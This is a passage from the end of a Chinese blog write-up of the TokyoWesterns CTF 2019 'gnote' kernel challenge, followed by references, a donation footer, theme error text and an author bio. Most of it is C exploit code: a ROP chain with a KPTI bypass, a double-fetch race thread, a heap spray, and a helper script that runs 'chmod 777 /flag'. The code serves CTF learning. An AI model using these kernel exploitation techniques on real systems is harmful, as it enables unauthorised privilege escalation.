    rop_addr[i++] = sh_addr;
    rop_addr[i++] = p_rdx_r;
    rop_addr[i++] = 0x18;
    rop_addr[i++] = memcpy_addr;

    // xchg_CR3_sysret
    rop_addr[i++] = kpti_ret;
    rop_addr[i++] = 0;
    rop_addr[i++] = 0;
    rop_addr[i++] = &shell;
    rop_addr[i++] = user_cs;
    rop_addr[i++] = user_rflags;
    rop_addr[i++] = user_sp;
    rop_addr[i++] = user_ss;
}

void race(void *s){
    gnote *d=s;
    while(!istriggered){
        d->ch = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
        puts("[*] race ...");
    }
}

void Double_Fetch(){
    gnote gn;
    pthread_t pthread;
    gn.size = 0x10001;
    pthread_create(&pthread,NULL, race, &gn);
    for (int j=0; j< 0x10000000000; j++)
    {
        gn.ch = 1;
        write(fd, (void*)&gn, sizeof(gnote));
    }
    pthread_join(pthread, NULL);
}

int main(){
    system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/chmod.sh");
    system("chmod +x /tmp/chmod.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/ll");
    system("chmod +x /tmp/ll");
    savestatus();

    fd=open("proc/gnote", O_RDWR);
    if (fd<0)
    {
        puts("[-] Open driver error!");
        exit(-1);
    }

    LeakAddr();

    HeapSpry();

    Prepare_ROP();

    Double_Fetch();

    return 0;
}

参考

Linux Kernel Heap 101 —— Buddy & Slab

KERNEL PWN状态切换原理及KPTI绕过

TokyoWesternsCTF2019-gnote

赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing